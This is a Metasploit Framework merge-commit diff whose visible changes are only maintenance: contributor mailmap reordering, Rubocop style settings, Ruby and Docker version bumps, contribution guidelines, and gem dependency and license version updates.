automatic module_metadata_base.json update

Land #12244 , cisco_ucs_scpuser exploit
Land #12243 , cisco_ucs_rce exploit
2019-08-30 14:10:45 -05:00 · 2019-08-30 14:08:42 -05:00 · 2019-08-30 14:08:42 -05:00 · 2019-08-30 14:08:41 -05:00 · 2019-08-30 14:08:41 -05:00 · 2019-08-30 14:06:53 -05:00
994 changed files with 203249 additions and 19374 deletions
@@ -1,48 +1,29 @@
 acammack-r7 <acammack-r7@github>     <acammack@aus-mbp-1099.aus.rapid7.com>
 acammack-r7 <acammack-r7@github>     <adam_cammack@rapid7.com>
 acammack-r7 <acammack-r7@github>     <Adam_Cammack@rapid7.com>
-asoto-r7 <asoto-r7@github>           <aaron_soto@rapid7.com>
 bcook-r7 <bcook-r7@github>           <bcook@rapid7.com>
 bcook-r7 <bcook-r7@github>           <busterb@gmail.com>
-bpatterson-r7 <bpatterson-r7@github> <“bpatterson@rapid7.com”>
-bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
 bturner-r7 <bturner-r7@github>       <brandon_turner@rapid7.com>
 bwatters-r7 <bwatters-r7@github>     <bwatters@rapid7.com>
 cdoughty-r7 <cdoughty-r7@github>     <chris_doughty@rapid7.com>
 dheiland-r7 <dheiland-r7@github>     <dh@layereddefense.com>
-dmaloney-r7 <dmaloney-r7@github>     <David_Maloney@rapid7.com>
-dmaloney-r7 <dmaloney-r7@github>     <DMaloney@rapid7.com>
-dmohanty-r7 <dmohanty-r7@github>     <Dev_Mohanty@rapid7.com>
+dwelch-r7 <dwelch-r7@github>         <dean_welch@rapid7.com>
 ecarey-r7 <ecarey-r7@github>         <e@ipwnstuff.com>
-egypt <egypt@github>                 <egypt@metasploit.com> # aka egypt
-egypt <egypt@github>                 <james_lee@rapid7.com>
 jbarnett-r7 <jbarnett-r7@github>     <James_Barnett@rapid7.com>
 jbarnett-r7 <jbarnett-r7@github>     <jbarnett@rapid7.com>
-jhart-r7 <jhart-r7@github>           <jon_hart@rapid7.com>
 jinq102030 <jinq102030@github>       <Jin_Qian@rapid7.com>
 jinq102030 <jinq102030@github>       <jqian@rapid7.com>
 jmartin-r7 <jmartin-r7@github>       <Jeffrey_Martin@rapid7.com>
-kgray-r7 <kgray-r7@github>           <kyle_gray@rapid7.com>
-khayes-r7 <khayes-r7@github>         <Kirk_Hayes@rapid7.com>
-lsanchez-r7 <lsanchez-r7@github>     <lance@aus-mac-1041.aus.rapid7.com>
-lsanchez-r7 <lsanchez-r7@github>     <lance@AUS-MAC-1041.local>
-lsanchez-r7 <lsanchez-r7@github>     <lance.sanchez+github@gmail.com>
-lsanchez-r7 <lsanchez-r7@github>     <lance.sanchez@gmail.com>
-lsanchez-r7 <lsanchez-r7@github>     <lance.sanchez@rapid7.com>
 lsato-r7 <lsato-r7@github>           <lsato@rapid7.com>
 lvarela-r7 <lvarela-r7@github>       <“leonardo_varela@rapid7.com”>
 mkienow-r7 <mkienow-r7@github>       <matthew_kienow@rapid7.com>
 pbarry-r7 <pbarry-r7@github>         <pearce_barry@rapid7.com>
 pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
 pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
-sdavis-r7 <sdavis-r7@github>         <scott_davis@rapid7.com>
-sdavis-r7 <sdavis-r7@github>         <Scott_Davis@rapid7.com>
-sdavis-r7 <sdavis-r7@github>         <sdavis@rapid7.com>
 sgonzalez-r7 <sgonzalez-r7@github>   <sgonzalez@rapid7.com>
 sgonzalez-r7 <sgonzalez-r7@github>   <sonny_gonzalez@rapid7.com>
 shuckins-r7 <shuckins-r7@github>     <samuel_huckins@rapid7.com>
 space-r7 <space-r7@github>           <shelby_pace@rapid7.com>
-tatanus <tatanus@github>             <adam_compton@rapid7.com>
 tdoan-r7 <tdoan-r7@github>           <thao_doan@rapid7.com>
 todb-r7 <todb-r7@github>             <tod_beardsley@rapid7.com>
 todb-r7 <todb-r7@github>             <todb@metasploit.com>
@@ -53,7 +34,6 @@ wvu-r7 <wvu-r7@github>               <William_Vu@rapid7.com>
 wvu-r7 <wvu-r7@github>               <wvu@cs.nmt.edu>
 wvu-r7 <wvu-r7@github>               <wvu@metasploit.com>
 wwalker-r7 <wwalker-r7@github>       <wyatt_walker@rapid7.com>
-wwebb-r7 <wwebb-r7@github>           <William_Webb@rapid7.com>

 # Above this line are current Rapid7 employees. Below this paragraph are
 # volunteers, former employees, and potential Rapid7 employees who, at
@@ -62,10 +42,12 @@ wwebb-r7 <wwebb-r7@github>           <William_Webb@rapid7.com>
 # periodically. If you're on this list and would like to not be, just
 # let todb@metasploit.com know.

+asoto-r7 <asoto-r7@github>             <aaron_soto@rapid7.com>
 bannedit <bannedit@github>             David Rude <bannedit0@gmail.com>
 bcoles <bcoles@github>                 bcoles <bcoles@gmail.com>
-bcoles <bcoles@github>                 Brendan Coles <bcoles@gmail.com>
 bokojan <bokojan@github>               parzamendi-r7 <peter_arzamendi@rapid7.com>
+bpatterson-r7 <bpatterson-r7@github>   <bpatterson@rapid7.com>
+bpatterson-r7 <bpatterson-r7@github>   <Brian_Patterson@rapid7.com>
 brandonprry <brandonprry@github>       <bperry@brandons-mbp.attlocal.net>
 brandonprry <brandonprry@github>       Brandon Perry <bperry@bperry-rapid7.(none)>
 brandonprry <brandonprry@github>       Brandon Perry <bperry.volatile@gmail.com>
@@ -84,8 +66,13 @@ corelanc0d3r <corelanc0d3r@github>     Peter Van Eeckhoutte (corelanc0d3r) <pete
 crcatala <crcatala@github>             Christian Catalan <ccatalan@rapid7.com>
 darkoperator <darkoperator@github>     Carlos Perez <carlos_perez@darkoperator.com>
 DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmail.com>
+dmaloney-r7 <dmaloney-r7@github>       <David_Maloney@rapid7.com>
+dmaloney-r7 <dmaloney-r7@github>       <DMaloney@rapid7.com>
+dmohanty-r7 <dmohanty-r7@github>       <Dev_Mohanty@rapid7.com>
 efraintorres <efraintorres@github>     efraintorres <etlownoise@gmail.com>
 efraintorres <efraintorres@github>     et <>
+egypt <egypt@github>                   <egypt@metasploit.com> # aka egypt
+egypt <egypt@github>                   <james_lee@rapid7.com>
 espreto <espreto@github>               <robertoespreto@gmail.com>
 fab <fab@???>                          fab <> # fab at revhosts.net (Fabrice MOURRON)
 farias-r7 <farias-r7@github>           <fernando_arias@rapid7.com>
@@ -111,6 +98,7 @@ jcran <jcran@github>                   <jcran@rapid7.com>
 jduck <jduck@github>                   <github.jdrake@qoop.org>
 jduck <jduck@github>                   <jdrake@qoop.org>
 jgor <jgor@github>                     jgor <jgor@indiecom.org>
+jhart-r7 <jhart-r7@github>             <jon_hart@rapid7.com>
 joevennix <joevennix@github>           Joe Vennix <joevennix@gmail.com>
 joevennix <joevennix@github>           <Joe_Vennix@rapid7.com>
 joevennix <joevennix@github>           <joev@metasploit.com>
@@ -120,9 +108,15 @@ juanvazquez <juanvazquez@github>       jvazquez-r7 <juan_vazquez@rapid7.com>
 kernelsmith <kernelsmith@github>       Joshua Smith <kernelsmith@kernelsmith.com>
 kernelsmith <kernelsmith@github>       Joshua Smith <kernelsmith@metasploit.com>
 kernelsmith <kernelsmith@github>       kernelsmith <kernelsmith@kernelsmith>
+kgray-r7 <kgray-r7@github>             <kyle_gray@rapid7.com>
 kost <kost@github>                     Vlatko Kosturjak <kost@linux.hr>
 kris <kris@???>                        kris <>
 KronicDeth <KronicDeth@github>         Luke Imhoff <luke_imhoff@rapid7.com>
+lsanchez-r7 <lsanchez-r7@github>       <lance@aus-mac-1041.aus.rapid7.com>
+lsanchez-r7 <lsanchez-r7@github>       <lance@AUS-MAC-1041.local>
+lsanchez-r7 <lsanchez-r7@github>       <lance.sanchez+github@gmail.com>
+lsanchez-r7 <lsanchez-r7@github>       <lance.sanchez@gmail.com>
+lsanchez-r7 <lsanchez-r7@github>       <lance.sanchez@rapid7.com>
 m-1-k-3 <m-1-k-3@github>               m-1-k-3 <github@s3cur1ty.de>
 m-1-k-3 <m-1-k-3@github>               m-1-k-3 <m1k3@s3cur1ty.de>
 m-1-k-3 <m-1-k-3@github>               m-1-k-3 <michael.messner@integralis.com>
@@ -152,12 +146,16 @@ rwhitcroft <rwhitcroft@github>         <rwhitcroft@users.noreply.github.com>
 schierlm <schierlm@github>             Michael Schierl <schierlm@gmx.de> # Aka mihi
 scriptjunkie <scriptjunkie@github>     Matt Weeks <scriptjunkie@scriptjunkie.us>
 scriptjunkie <scriptjunkie@github>     scriptjunkie <scriptjunkie@scriptjunkie.us>
+sdavis-r7 <sdavis-r7@github>           <scott_davis@rapid7.com>
+sdavis-r7 <sdavis-r7@github>           <Scott_Davis@rapid7.com>
+sdavis-r7 <sdavis-r7@github>           <sdavis@rapid7.com>
 skape <skape@???>                      Matt Miller <mmiller@hick.org>
 spoonm <spoonm@github>                 Spoon M <spoonm@gmail.com>
 stufus <stufus@github>                 Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
 stufus <stufus@github>                 Stuart <stufus@users.noreply.github.com>
 swtornio <swtornio@github>             Steve Tornio <swtornio@gmail.com>
 Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
+tatanus <tatanus@github>               <adam_compton@rapid7.com>
 techpeace <techpeace@github>           Matt Buck <Matthew_Buck@rapid7.com>
 techpeace <techpeace@github>           Matt Buck <techpeace@gmail.com>
 timwr <timwr@github>                   <timrlw@gmail.com>
@@ -165,6 +163,7 @@ TomSellers <TomSellers@github>         Tom Sellers <tom@fadedcode.net>
 trevrosen <trevrosen@github>           Trevor Rosen <trevor@catapult-creative.com>
 trevrosen <trevrosen@github>           Trevor Rosen <Trevor_Rosen@rapid7.com>
 TrustedSec <davek@trustedsec.com>      trustedsec <davek@trustedsec.com>
+wwebb-r7 <wwebb-r7@github>             <William_Webb@rapid7.com>
 void-in <void-in@github>               void_in <root@localhost.localdomain>
 void-in <void-in@github>               void-in <root@localhost.localdomain>
 void-in <void-in@github>               <void-in@users.noreply.github.com>
@@ -9,7 +9,7 @@
 # inherit_from: .rubocop_todo.yml

 AllCops:
-  TargetRubyVersion: 2.2
+  TargetRubyVersion: 2.4

 Metrics/ClassLength:
  Description: 'Most Metasploit modules are quite large. This is ok.'
@@ -45,6 +45,10 @@ Style/RedundantReturn:
  Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
  Enabled: false

+Naming/VariableNumber:
+  Description: 'To make it easier to use reference code, disable this cop'
+  Enabled: false
+
 Style/NumericPredicate:
  Description: 'This adds no efficiency nor space saving'
  Enabled: false
@@ -55,14 +59,18 @@ Style/Documentation:
  Exclude:
    - 'modules/**/*'

-Layout/IndentHeredoc:
+Layout/SpaceInsideArrayLiteralBrackets:
  Enabled: false
-  Description: 'We need to leave this disabled for Ruby 2.2 compat, remove in 2018'
+  Description: 'Almost all module metadata have space in brackets'

 Style/GuardClause:
  Enabled: false
  Description: 'This often introduces bugs in tested code'

+Style/EmptyLiteral:
+  Enabled: false
+  Description: 'This looks awkward when you mix empty and non-empty literals'
+
 Style/NegatedIf:
  Enabled: false
  Description: 'This often introduces bugs in tested code'
@@ -72,9 +80,16 @@ Style/ConditionalAssignment:
  Description: 'This is confusing for folks coming from other languages'

 Style/Encoding:
-  Enabled: true
  Description: 'We prefer binary to UTF-8.'
-  EnforcedStyle: 'when_needed'
+  Enabled: false
+
+Style/ParenthesesAroundCondition:
+  Enabled: false
+  Description: 'This is used in too many places to discount, especially in ported code. Has little effect'
+
+Style/TrailingCommaInArrayLiteral:
+  Enabled: false
+  Description: 'This is often a useful pattern, and is actually required by other languages. It does not hurt.'

 Metrics/LineLength:
  Description: >-
@@ -83,6 +98,13 @@ Metrics/LineLength:
  Enabled: true
  Max: 180

+Metrics/BlockLength:
+  Enabled: true
+  Description: >-
+                  While the style guide suggests 10 lines, exploit definitions
+                  often exceed 200 lines.
+  Max: 300
+
 Metrics/MethodLength:
  Enabled: true
  Description: >-
@@ -90,10 +112,10 @@ Metrics/MethodLength:
                  often exceed 200 lines.
  Max: 300

-# Basically everything in metasploit needs binary encoding, not UTF-8.
-# Disable this here and enforce it through msftidy
-Style/Encoding:
-  Enabled: false
+Naming/UncommunicativeMethodParamName:
+  Enabled: true
+  Description: 'Whoever made this requirement never looked at crypto methods, IV'
+  MinNameLength: 2

 # %q() is super useful for long strings split over multiple lines and
 # is very common in module constructors for things like descriptions
@@ -104,11 +126,31 @@ Style/NumericLiterals:
  Enabled: false
  Description: 'This often hurts readability for exploit-ish code.'

+Layout/AlignHash:
+  Enabled: false
+  Description: 'aligning info hashes to match these rules is almost impossible to get right'
+
+Layout/EmptyLines:
+  Enabled: false
+  Description: 'these are used to increase readability'
+
+Layout/EmptyLinesAroundClassBody:
+  Enabled: false
+  Description: 'these are used to increase readability'
+
+Layout/EmptyLinesAroundMethodBody:
+  Enabled: false
+  Description: 'these are used to increase readability'
+
 Layout/AlignParameters:
  Enabled: true
  EnforcedStyle: 'with_fixed_indentation'
  Description: 'initialize method of every module has fixed indentation for Name, Description, etc'

+Style/For:
+  Enabled: false
+  Description: 'if a module is written with a for loop, it cannot always be logically replaced with each'
+
 Style/StringLiterals:
  Enabled: false
  Description: 'Single vs double quote fights are largely unproductive.'
@@ -1 +1 @@
-2.5.3
+2.6.2
@@ -11,9 +11,8 @@ addons:
      - graphviz
 language: ruby
 rvm:
-  - '2.3.8'
-  - '2.4.5'
-  - '2.5.3'
+  - '2.5.5'
+  - '2.6.2'

 env:
  - CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
@@ -20,12 +20,15 @@ it into Metasploit's master branch.  If you do not care to follow these rules, y
 * **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
 * **Do** follow the [50/72 rule] for Git commit messages.
 * **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
-* **Do** create a [topic branch] to work on instead of working directly on `master` to preserve the
-  history of your pull request.  See [PR#8000] for an example of losing commit history as soon as
-  you update your own master branch.
+* **Do** create a [topic branch] to work on instead of working directly on `master`.
+  This helps protect the process, ensures users are aware of commits on the branch being considered for merge,
+  allows for a location for more commits to be offered without mingling with other contributor changes,
+  and allows contributors to make progress while a PR is still being reviewed.
+

 ### Pull Requests

+* **Do** write "WIP" on your PR and/or open a [draft PR] if submitting **working** yet unfinished code.
 * **Do** target your pull request to the **master branch**.
 * **Do** specify a descriptive title to make searching for your pull request easier.
 * **Do** include [console output], especially for witnessable effects in `msfconsole`.
@@ -84,7 +87,7 @@ curve, so keep it up!
 [Rubocop]:https://rubygems.org/search?query=rubocop
 [50/72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html
 [topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
-[PR#8000]:https://github.com/rapid7/metasploit-framework/pull/8000
+[draft PR]:https://help.github.com/en/articles/about-pull-requests#draft-pull-requests
 [console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
 [verification steps]:https://help.github.com/articles/writing-on-github#task-lists
 [reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests
@@ -1,4 +1,4 @@
-FROM ruby:2.5.3-alpine3.7 AS builder
+FROM ruby:2.6.2-alpine3.9 AS builder
 LABEL maintainer="Rapid7"

 ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
@@ -16,7 +16,7 @@ RUN apk add --no-cache \
      bison \
      build-base \
      ruby-dev \
-      libressl-dev \
+      openssl-dev \
      readline-dev \
      sqlite-dev \
      postgresql-dev \
@@ -29,7 +29,6 @@ RUN apk add --no-cache \
      git \
    && echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
    && gem update --system \
-    && gem install bundler \
    && bundle install --clean --no-cache --system $BUNDLER_ARGS \
    # temp fix for https://github.com/bundler/bundler/issues/6680
    && rm -rf /usr/local/bundle/cache \
@@ -37,7 +36,7 @@ RUN apk add --no-cache \
    && chmod -R a+r /usr/local/bundle


-FROM ruby:2.5.3-alpine3.7
+FROM ruby:2.6.2-alpine3.9
 LABEL maintainer="Rapid7"

 ENV APP_HOME=/usr/src/metasploit-framework
@@ -3,6 +3,8 @@ source 'https://rubygems.org'
 #   spec.add_runtime_dependency '<name>', [<version requirements>]
 gemspec name: 'metasploit-framework'

+gem 'sqlite3', '~>1.3.0'
+
 # separate from test as simplecov is not run on travis-ci
 group :coverage do
  # code coverage for tests
@@ -1,12 +1,12 @@
 PATH
  remote: .
  specs:
-    metasploit-framework (4.17.35)
+    metasploit-framework (4.17.78)
      actionpack (~> 4.2.6)
      activerecord (~> 4.2.6)
      activesupport (~> 4.2.6)
      backports
-      bcrypt
+      bcrypt (= 3.1.12)
      bcrypt_pbkdf
      bit-struct
      concurrent-ruby (= 1.0.5)
@@ -20,9 +20,9 @@ PATH
      metasploit-concern
      metasploit-credential (< 3.0.0)
      metasploit-model
-      metasploit-payloads (= 1.3.58)
+      metasploit-payloads (= 1.3.70)
      metasploit_data_models (< 3.0.0)
-      metasploit_payloads-mettle (= 0.5.1)
+      metasploit_payloads-mettle (= 0.5.16)
      mqtt
      msgpack
      nessus_rest
@@ -37,7 +37,7 @@ PATH
      patch_finder
      pcaprub
      pdf-reader
-      pg (= 0.20.0)
+      pg (~> 0.20)
      railties
      rb-readline
      recog
@@ -55,7 +55,7 @@ PATH
      rex-random_identifier
      rex-registry
      rex-rop_builder
-      rex-socket
+      rex-socket (= 0.1.17)
      rex-sslscan
      rex-struct2
      rex-text
@@ -76,40 +76,40 @@ GEM
  remote: https://rubygems.org/
  specs:
    Ascii85 (1.0.3)
-    actionpack (4.2.11)
-      actionview (= 4.2.11)
-      activesupport (= 4.2.11)
+    actionpack (4.2.11.1)
+      actionview (= 4.2.11.1)
+      activesupport (= 4.2.11.1)
      rack (~> 1.6)
      rack-test (~> 0.6.2)
      rails-dom-testing (~> 1.0, >= 1.0.5)
      rails-html-sanitizer (~> 1.0, >= 1.0.2)
-    actionview (4.2.11)
-      activesupport (= 4.2.11)
+    actionview (4.2.11.1)
+      activesupport (= 4.2.11.1)
      builder (~> 3.1)
      erubis (~> 2.7.0)
      rails-dom-testing (~> 1.0, >= 1.0.5)
      rails-html-sanitizer (~> 1.0, >= 1.0.3)
-    activemodel (4.2.11)
-      activesupport (= 4.2.11)
+    activemodel (4.2.11.1)
+      activesupport (= 4.2.11.1)
      builder (~> 3.1)
-    activerecord (4.2.11)
-      activemodel (= 4.2.11)
-      activesupport (= 4.2.11)
+    activerecord (4.2.11.1)
+      activemodel (= 4.2.11.1)
+      activesupport (= 4.2.11.1)
      arel (~> 6.0)
-    activesupport (4.2.11)
+    activesupport (4.2.11.1)
      i18n (~> 0.7)
      minitest (~> 5.1)
      thread_safe (~> 0.3, >= 0.3.4)
      tzinfo (~> 1.1)
-    addressable (2.5.2)
+    addressable (2.6.0)
      public_suffix (>= 2.0.2, < 4.0)
    afm (0.2.2)
    arel (6.0.4)
-    arel-helpers (2.8.0)
-      activerecord (>= 3.1.0, < 6)
-    backports (3.11.4)
+    arel-helpers (2.10.0)
+      activerecord (>= 3.1.0, < 7)
+    backports (3.15.0)
    bcrypt (3.1.12)
-    bcrypt_pbkdf (1.0.0)
+    bcrypt_pbkdf (1.0.1)
    bindata (2.4.4)
    bit-struct (0.16)
    builder (3.2.3)
@@ -117,9 +117,9 @@ GEM
    concurrent-ruby (1.0.5)
    crass (1.0.4)
    diff-lcs (1.3)
-    dnsruby (1.61.2)
+    dnsruby (1.61.3)
      addressable (~> 2.5)
-    docile (1.3.1)
+    docile (1.3.2)
    ed25519 (1.2.4)
    erubis (2.7.0)
    factory_girl (4.9.0)
@@ -127,8 +127,8 @@ GEM
    factory_girl_rails (4.9.0)
      factory_girl (~> 4.9.0)
      railties (>= 3.0.0)
-    faker (1.9.1)
-      i18n (>= 0.7)
+    faker (2.2.0)
+      i18n (>= 0.8)
    faraday (0.15.4)
      multipart-post (>= 1.2, < 3)
    filesize (0.2.0)
@@ -138,11 +138,11 @@ GEM
      concurrent-ruby (~> 1.0)
    jsobfu (0.4.2)
      rkelly-remix
-    json (2.1.0)
+    json (2.2.0)
    loofah (2.2.3)
      crass (~> 1.0.2)
      nokogiri (>= 1.5.9)
-    metasm (1.0.3)
+    metasm (1.0.4)
    metasploit-concern (2.0.5)
      activemodel (~> 4.2.6)
      activesupport (~> 4.2.6)
@@ -160,45 +160,45 @@ GEM
      activemodel (~> 4.2.6)
      activesupport (~> 4.2.6)
      railties (~> 4.2.6)
-    metasploit-payloads (1.3.58)
-    metasploit_data_models (2.0.16)
+    metasploit-payloads (1.3.70)
+    metasploit_data_models (2.0.17)
      activerecord (~> 4.2.6)
      activesupport (~> 4.2.6)
      arel-helpers
      metasploit-concern
      metasploit-model
-      pg (= 0.20.0)
+      pg
      postgres_ext
      railties (~> 4.2.6)
      recog (~> 2.0)
-    metasploit_payloads-mettle (0.5.1)
+    metasploit_payloads-mettle (0.5.16)
    method_source (0.9.2)
    mini_portile2 (2.4.0)
    minitest (5.11.3)
    mqtt (0.5.0)
-    msgpack (1.2.4)
-    multipart-post (2.0.0)
+    msgpack (1.3.1)
+    multipart-post (2.1.1)
    nessus_rest (0.1.6)
-    net-ssh (5.1.0)
+    net-ssh (5.2.0)
    network_interface (0.0.2)
    nexpose (7.2.1)
-    nokogiri (1.10.0)
+    nokogiri (1.10.4)
      mini_portile2 (~> 2.4.0)
-    octokit (4.13.0)
+    octokit (4.14.0)
      sawyer (~> 0.8.0, >= 0.5.3)
-    openssl-ccm (1.2.1)
+    openssl-ccm (1.2.2)
    openvas-omp (0.0.4)
    packetfu (1.1.13)
      pcaprub
    patch_finder (1.0.2)
    pcaprub (0.13.0)
-    pdf-reader (2.2.0)
+    pdf-reader (2.2.1)
      Ascii85 (~> 1.0.0)
      afm (~> 0.2.1)
      hashery (~> 2.0)
      ruby-rc4
      ttfunk
-    pg (0.20.0)
+    pg (0.21.0)
    pg_array_parser (0.0.9)
    postgres_ext (3.0.1)
      activerecord (~> 4.0)
@@ -207,7 +207,7 @@ GEM
    pry (0.12.2)
      coderay (~> 1.1.0)
      method_source (~> 0.9.0)
-    public_suffix (3.0.3)
+    public_suffix (3.1.1)
    rack (1.6.11)
    rack-test (0.6.3)
      rack (>= 1.0)
@@ -217,18 +217,18 @@ GEM
      activesupport (>= 4.2.0, < 5.0)
      nokogiri (~> 1.6)
      rails-deprecated_sanitizer (>= 1.0.1)
-    rails-html-sanitizer (1.0.4)
+    rails-html-sanitizer (1.2.0)
      loofah (~> 2.2, >= 2.2.2)
-    railties (4.2.11)
-      actionpack (= 4.2.11)
-      activesupport (= 4.2.11)
+    railties (4.2.11.1)
+      actionpack (= 4.2.11.1)
+      activesupport (= 4.2.11.1)
      rake (>= 0.8.7)
      thor (>= 0.18.1, < 2.0)
-    rake (12.3.2)
+    rake (12.3.3)
    rb-readline (0.5.5)
-    recog (2.1.42)
+    recog (2.3.2)
      nokogiri
-    redcarpet (3.4.0)
+    redcarpet (3.5.0)
    rex-arch (0.1.13)
      rex-text
    rex-bin_tools (0.1.6)
@@ -242,7 +242,7 @@ GEM
      metasm
      rex-arch
      rex-text
-    rex-exploitation (0.1.20)
+    rex-exploitation (0.1.21)
      jsobfu
      metasm
      rex-arch
@@ -255,7 +255,7 @@ GEM
      rex-arch
    rex-ole (0.1.6)
      rex-text
-    rex-powershell (0.1.79)
+    rex-powershell (0.1.82)
      rex-random_identifier
      rex-text
    rex-random_identifier (0.1.4)
@@ -265,14 +265,14 @@ GEM
      metasm
      rex-core
      rex-text
-    rex-socket (0.1.15)
+    rex-socket (0.1.17)
      rex-core
    rex-sslscan (0.1.5)
      rex-core
      rex-socket
      rex-text
    rex-struct2 (0.1.2)
-    rex-text (0.2.21)
+    rex-text (0.2.23)
    rex-zip (0.1.3)
      rex-text
    rkelly-remix (0.0.7)
@@ -280,15 +280,15 @@ GEM
      rspec-core (~> 3.8.0)
      rspec-expectations (~> 3.8.0)
      rspec-mocks (~> 3.8.0)
-    rspec-core (3.8.0)
+    rspec-core (3.8.2)
      rspec-support (~> 3.8.0)
-    rspec-expectations (3.8.2)
+    rspec-expectations (3.8.4)
      diff-lcs (>= 1.2.0, < 2.0)
      rspec-support (~> 3.8.0)
-    rspec-mocks (3.8.0)
+    rspec-mocks (3.8.1)
      diff-lcs (>= 1.2.0, < 2.0)
      rspec-support (~> 3.8.0)
-    rspec-rails (3.8.1)
+    rspec-rails (3.8.2)
      actionpack (>= 3.0)
      activesupport (>= 3.0)
      railties (>= 3.0)
@@ -298,39 +298,39 @@ GEM
      rspec-support (~> 3.8.0)
    rspec-rerun (1.1.0)
      rspec (~> 3.0)
-    rspec-support (3.8.0)
-    ruby-macho (2.1.0)
+    rspec-support (3.8.2)
+    ruby-macho (2.2.0)
    ruby-rc4 (0.1.5)
-    ruby_smb (1.0.5)
+    ruby_smb (1.1.0)
      bindata
      rubyntlm
      windows_error
    rubyntlm (0.6.2)
-    rubyzip (1.2.2)
-    sawyer (0.8.1)
-      addressable (>= 2.3.5, < 2.6)
-      faraday (~> 0.8, < 1.0)
-    simplecov (0.16.1)
+    rubyzip (1.2.3)
+    sawyer (0.8.2)
+      addressable (>= 2.3.5)
+      faraday (> 0.8, < 2.0)
+    simplecov (0.17.0)
      docile (~> 1.1)
      json (>= 1.8, < 3)
      simplecov-html (~> 0.10.0)
    simplecov-html (0.10.2)
    sqlite3 (1.3.13)
-    sshkey (1.9.0)
+    sshkey (2.0.0)
    thor (0.20.3)
    thread_safe (0.3.6)
    timecop (0.9.1)
    ttfunk (1.5.1)
    tzinfo (1.2.5)
      thread_safe (~> 0.1)
-    tzinfo-data (1.2018.9)
+    tzinfo-data (1.2019.2)
      tzinfo (>= 1.0.0)
    windows_error (0.1.2)
    xdr (2.0.0)
      activemodel (>= 4.2.7)
      activesupport (>= 4.2.7)
    xmlrpc (0.3.0)
-    yard (0.9.16)
+    yard (0.9.20)

 PLATFORMS
  ruby
@@ -346,6 +346,7 @@ DEPENDENCIES
  rspec-rails
  rspec-rerun
  simplecov
+  sqlite3 (~> 1.3.0)
  timecop
  yard

@@ -1,17 +1,17 @@
 This file is auto-generated by tools/dev/update_gem_licenses.sh
 Ascii85, 1.0.3, MIT
-actionpack, 4.2.11, MIT
-actionview, 4.2.11, MIT
-activemodel, 4.2.11, MIT
-activerecord, 4.2.11, MIT
-activesupport, 4.2.11, MIT
-addressable, 2.5.2, "Apache 2.0"
+actionpack, 4.2.11.1, MIT
+actionview, 4.2.11.1, MIT
+activemodel, 4.2.11.1, MIT
+activerecord, 4.2.11.1, MIT
+activesupport, 4.2.11.1, MIT
+addressable, 2.6.0, "Apache 2.0"
 afm, 0.2.2, MIT
 arel, 6.0.4, MIT
-arel-helpers, 2.8.0, MIT
-backports, 3.11.4, MIT
+arel-helpers, 2.10.0, MIT
+backports, 3.15.0, MIT
 bcrypt, 3.1.12, MIT
-bcrypt_pbkdf, 1.0.0, MIT
+bcrypt_pbkdf, 1.0.1, MIT
 bindata, 2.4.4, ruby
 bit-struct, 0.16, ruby
 builder, 3.2.3, MIT
@@ -20,105 +20,105 @@ coderay, 1.1.2, MIT
 concurrent-ruby, 1.0.5, MIT
 crass, 1.0.4, MIT
 diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
-dnsruby, 1.61.2, "Apache 2.0"
-docile, 1.3.1, MIT
+dnsruby, 1.61.3, "Apache 2.0"
+docile, 1.3.2, MIT
 ed25519, 1.2.4, MIT
 erubis, 2.7.0, MIT
 factory_girl, 4.9.0, MIT
 factory_girl_rails, 4.9.0, MIT
-faker, 1.9.1, MIT
+faker, 2.2.0, MIT
 faraday, 0.15.4, MIT
 filesize, 0.2.0, MIT
 fivemat, 1.3.7, MIT
 hashery, 2.1.2, "Simplified BSD"
 i18n, 0.9.5, MIT
 jsobfu, 0.4.2, "New BSD"
-json, 2.1.0, ruby
+json, 2.2.0, ruby
 loofah, 2.2.3, MIT
-metasm, 1.0.3, LGPL
+metasm, 1.0.4, LGPL-2.1
 metasploit-concern, 2.0.5, "New BSD"
 metasploit-credential, 2.0.14, "New BSD"
-metasploit-framework, 4.17.35, "New BSD"
+metasploit-framework, 4.17.78, "New BSD"
 metasploit-model, 2.0.4, "New BSD"
-metasploit-payloads, 1.3.58, "3-clause (or ""modified"") BSD"
-metasploit_data_models, 2.0.16, "New BSD"
-metasploit_payloads-mettle, 0.5.1, "3-clause (or ""modified"") BSD"
+metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD"
+metasploit_data_models, 2.0.17, "New BSD"
+metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
 method_source, 0.9.2, MIT
 mini_portile2, 2.4.0, MIT
 minitest, 5.11.3, MIT
 mqtt, 0.5.0, MIT
-msgpack, 1.2.4, "Apache 2.0"
-multipart-post, 2.0.0, MIT
+msgpack, 1.3.1, "Apache 2.0"
+multipart-post, 2.1.1, MIT
 nessus_rest, 0.1.6, MIT
-net-ssh, 5.1.0, MIT
+net-ssh, 5.2.0, MIT
 network_interface, 0.0.2, MIT
 nexpose, 7.2.1, "New BSD"
-nokogiri, 1.10.0, MIT
-octokit, 4.13.0, MIT
-openssl-ccm, 1.2.1, MIT
+nokogiri, 1.10.4, MIT
+octokit, 4.14.0, MIT
+openssl-ccm, 1.2.2, MIT
 openvas-omp, 0.0.4, MIT
 packetfu, 1.1.13, BSD
 patch_finder, 1.0.2, "New BSD"
 pcaprub, 0.13.0, LGPL-2.1
-pdf-reader, 2.2.0, MIT
-pg, 0.20.0, "New BSD"
+pdf-reader, 2.2.1, MIT
+pg, 0.21.0, "New BSD"
 pg_array_parser, 0.0.9, unknown
